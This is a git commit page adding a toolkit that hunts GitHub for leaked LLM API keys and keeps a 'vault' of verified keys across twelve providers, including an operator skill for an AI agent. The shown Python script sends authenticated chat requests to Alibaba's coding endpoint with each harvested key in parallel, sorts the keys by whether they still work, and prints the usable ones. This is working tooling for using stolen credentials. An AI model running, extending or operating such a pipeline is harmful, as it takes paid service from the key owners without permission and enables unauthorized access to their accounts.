Add LLM key-hunter toolkit, vault, and skill
- tools/scripts/llm-key-hunter: GitHub leak hunting pipeline (hunt_*, pivot miner, two-layer verify/content caches, per-provider verification) - usable_keys: verified key vault across 12 providers (deepseek, minimax, volcanoark, longcat, codingplan, zhipu free-tier, mimo, siliconflow, etc.) - .grok/skills/llm-key-hunter: operator skill for the hunt/verify/vault flow - NewAPI channel import scripts and CDP capture helpers - Result verdict buckets (excluding multi-GB blob caches and dedup dumps)
This commit is contained in:
1 parent
a3f698806b
commit
5d215e1649
684 files changed
+133838
No files matched your search
@@ -0,0 +1,119 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Verify Alibaba Bailian Coding Plan keys (sk-sp- prefix).
|
||||
|
||||
Endpoint: https://coding.dashscope.aliyuncs.com/v1
|
||||
These are SEPARATE from regular DashScope paygo keys (sk-<32hex>) and use
|
||||
the coding-plan domain. Classification: only 401 = DEAD.
|
||||
A key that lists models but fails chat is NO_ACCESS/NO_BALANCE per body.
|
||||
"""
|
||||
import json, sys, time, urllib.request, urllib.error
|
||||
from concurrent.futures import ThreadPoolExecutor, as_completed
|
||||
from pathlib import Path
|
||||
|
||||
sys.path.insert(0, str(Path(__file__).resolve().parent))
|
||||
from verify_cache import CachedVerifier
|
||||
|
||||
BASE = "https://coding.dashscope.aliyuncs.com/v1"
|
||||
OUT = Path("results/codingplan")
|
||||
OUT.mkdir(parents=True, exist_ok=True)
|
||||
CHAT_MODEL = "qwen3-coder-plus"
|
||||
FAKES = ("xxxxxxxx", "your-", "example", "1234567890abcdefghij",
|
||||
"super-secret", "shared-test", "your-bailian")
|
||||
|
||||
def http(method, path, key, body=None, timeout=20):
|
||||
url = BASE + path
|
||||
headers = {"Authorization": f"Bearer {key}", "Accept": "*/*"}
|
||||
data = None
|
||||
if body is not None:
|
||||
data = json.dumps(body).encode()
|
||||
headers["Content-Type"] = "application/json"
|
||||
req = urllib.request.Request(url, data=data, headers=headers, method=method)
|
||||
try:
|
||||
with urllib.request.urlopen(req, timeout=timeout) as r:
|
||||
return r.getcode(), r.read().decode("utf-8", "replace")
|
||||
except urllib.error.HTTPError as e:
|
||||
try: return e.code, e.read().decode("utf-8", "replace")
|
||||
except Exception: return e.code, ""
|
||||
except Exception as e:
|
||||
return 0, f"network: {type(e).__name__}: {e}"
|
||||
|
||||
def verify(key):
|
||||
# cheapest auth check
|
||||
mc, mb = http("GET", "/models", key)
|
||||
# real chat regardless (models can 200 while chat is denied)
|
||||
cc, cb = http("POST", "/chat/completions", key, {
|
||||
"model": CHAT_MODEL,
|
||||
"messages": [{"role": "user", "content": "hi"}],
|
||||
"max_tokens": 5, "temperature": 0,
|
||||
})
|
||||
blow = (cb or "").lower()
|
||||
if cc == 200 and '"choices"' in cb:
|
||||
return "USABLE", f"models={mc} chat 200 {cb[:100]}"
|
||||
if cc == 401:
|
||||
return "DEAD", f"401: {cb[:140]}"
|
||||
if cc in (402, 429):
|
||||
return "NO_BALANCE", f"models={mc} chat={cc}: {cb[:140]}"
|
||||
if cc == 403:
|
||||
return "NO_ACCESS", f"models={mc} 403: {cb[:140]}"
|
||||
if cc == 400:
|
||||
if any(w in blow for w in ("balance", "quota", "insufficient", "arrear", "suspend")):
|
||||
return "NO_BALANCE", f"models={mc} 400: {cb[:140]}"
|
||||
return "NO_ACCESS", f"models={mc} 400: {cb[:140]}"
|
||||
if cc == 0:
|
||||
return "UNKNOWN", f"models={mc} net: {cb[:140]}"
|
||||
if 500 <= cc < 600:
|
||||
return "NO_ACCESS", f"models={mc} 5xx {cc}: {cb[:120]}"
|
||||
return "NO_ACCESS", f"models={mc} HTTP {cc}: {cb[:140]}"
|
||||
|
||||
def load_candidates():
|
||||
keys = {}
|
||||
pool = Path("results/extracted_keys.txt")
|
||||
for ln in pool.read_text(errors="replace").splitlines():
|
||||
p = ln.split("|", 3)
|
||||
if len(p) < 3: continue
|
||||
if p[0] not in ("AlibabaCodingPlan", "SCNet"): continue
|
||||
k = p[1].strip()
|
||||
if not k.startswith("sk-sp-"): continue
|
||||
if any(f in k.lower() for f in FAKES): continue
|
||||
# require plausible length: sk-sp- + at least 24 chars
|
||||
if len(k) < 30: continue
|
||||
if k not in keys:
|
||||
keys[k] = p[2]
|
||||
return keys
|
||||
|
||||
def main():
|
||||
keys = load_candidates()
|
||||
print(f"candidates: {len(keys)} sk-sp- keys", flush=True)
|
||||
buckets = {"USABLE": [], "NO_BALANCE": [], "NO_ACCESS": [],
|
||||
"UNKNOWN": [], "DEAD": []}
|
||||
with CachedVerifier("codingplan", verify) as ver:
|
||||
with ThreadPoolExecutor(max_workers=16) as pool:
|
||||
futs = {pool.submit(ver, k): (k, s) for k, s in keys.items()}
|
||||
done = 0
|
||||
for fut in as_completed(futs):
|
||||
k, s = futs[fut]; done += 1
|
||||
try: v, d = fut.result()
|
||||
except Exception as e: v, d = "UNKNOWN", f"exc:{e}"
|
||||
buckets[v].append((k, s, d))
|
||||
if done % 20 == 0:
|
||||
print(f" {done}/{len(keys)} usable={len(buckets['USABLE'])} "
|
||||
f"nobal={len(buckets['NO_BALANCE'])} dead={len(buckets['DEAD'])} "
|
||||
f"hit={ver.hits} live={ver.live}", flush=True)
|
||||
print(f"cache: {ver.hits} hits / {ver.live} live", flush=True)
|
||||
|
||||
names = {"USABLE":"usable.txt","NO_BALANCE":"no_balance.txt",
|
||||
"NO_ACCESS":"no_access.txt","UNKNOWN":"unknown.txt","DEAD":"dead.txt"}
|
||||
for label, fn in names.items():
|
||||
with (OUT/fn).open("w") as f:
|
||||
for k,s,d in buckets[label]:
|
||||
f.write(f"{k}|{s}|{d}\n")
|
||||
print()
|
||||
for label in ("USABLE","NO_BALANCE","NO_ACCESS","UNKNOWN","DEAD"):
|
||||
print(f" {label:11s}: {len(buckets[label])}")
|
||||
if buckets["USABLE"]:
|
||||
print("\n=== USABLE CODING PLAN KEYS ===")
|
||||
for k,s,d in buckets["USABLE"]:
|
||||
print(f" {k}\n {s}\n {d[:120]}")
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
Reference in new issue
Block a user